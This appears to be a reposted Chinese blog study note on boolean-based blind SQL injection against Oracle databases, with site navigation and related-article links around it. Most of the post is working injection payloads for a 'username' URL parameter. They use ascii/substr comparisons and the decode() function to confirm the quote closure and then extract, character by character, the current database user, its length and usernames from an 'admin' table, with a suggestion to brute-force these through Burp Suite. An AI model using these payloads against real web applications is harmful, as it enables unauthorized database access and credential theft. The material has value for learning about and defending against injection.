zoukankan      html  css  js  c++  java
  • 大哥带的Orchel数据库的盲注入bool型

    0X01判断闭合

    ?username=SMITH' 错误
    ?username=SMITH'' 正确
    ?username=SMITH' and ascii(substr((select user from dual),1,1))>82 

    那么是‘闭合

    0X02基于bool的盲注 根据返回信息判断

    ?username=SMITH' and ascii(substr((select user from dual),1,1))>82 --  正确
    ?username=SMITH' and ascii(substr((select user from dual),1,1))>83  -- 错误

    那么user的第一个字母就是ascii码为83的

    第二种基于bool的盲注入 decode (偷学)

    decode(字段或字段的运算,值1,值2,值3)

    这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3

    当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多
    使用方法:
    比较大小

    select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值

    sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1

    例如:
    变量1=10,变量2=20
    则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。

    SQL> select decode(sign(10-20),-1,10,20) from dual;
    
    DECODE(SIGN(10-20),-1,10,20)
    ----------------------------
                              10

    So 这里我们用decode进行注入

    测试当前用户

    select decode(user,'SYSTEM',1,0) from dual;

    如果是system用户则返回1,不是则返回0.

    SQL> select decode(user,'SYSTEM',1,0) from dual;
    
    DECODE(USER,'SYSTEM',1,0)
    -------------------------
                            1
    
    SQL> select decode(user,'SYS',1,0) from dual;
    
    DECODE(USER,'SYS',1,0)
    ----------------------
                         0

    00XA

    注入点中decode盲注的应用 判断当前用户是不是‘SCOTT'

    ?username=SMITH' and 1=decode((select user from dual),'SCOTT',1,0) -- 正确

    当前也可以用字符逐个猜解,利用到substr()函数

    ?username=SMITH' and 1=decode(substr((select user from dual),1,1),'S',1,0) --

     

    获取当前用户名的长度

    ?username=SMITH' and 1=decode(length((select user from dual)),5,1,0) --

     判断字符的字符

    abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.

    判断username的第一个值

    ?username=SMITH' and 1=decode(substr((select username from admin where rownum=1),1,1),'a',1,0) --

    概知道这些函数的用法 跑脚本爆破即可 burpsuite为例

     通用盲注方法 逐字猜解

    ?username=SMITH' and ascii(substr((select username from admin where rownum=1),1,1))=97 --

    谢谢卿哥哥哥哥 爱你

    又收获这么多 舒舒服服

  • 相关阅读:
    面向对象反射、元类
    面向对象高级
    面向对象之封装
    抽象、继承、组合
    面向对象基础
    常用模块及其使用(二)
    常用模块及其使用
    模块及模块的使用
    drf框架之视图类、视图家族和路由组件
    drf框架群查接口的筛选组件之搜索过滤组件、排序过滤组件、分页器组件、django_filter插件
  • 原文地址:https://www.cnblogs.com/-zhong/p/10952045.html
Copyright © 2011-2022 走看看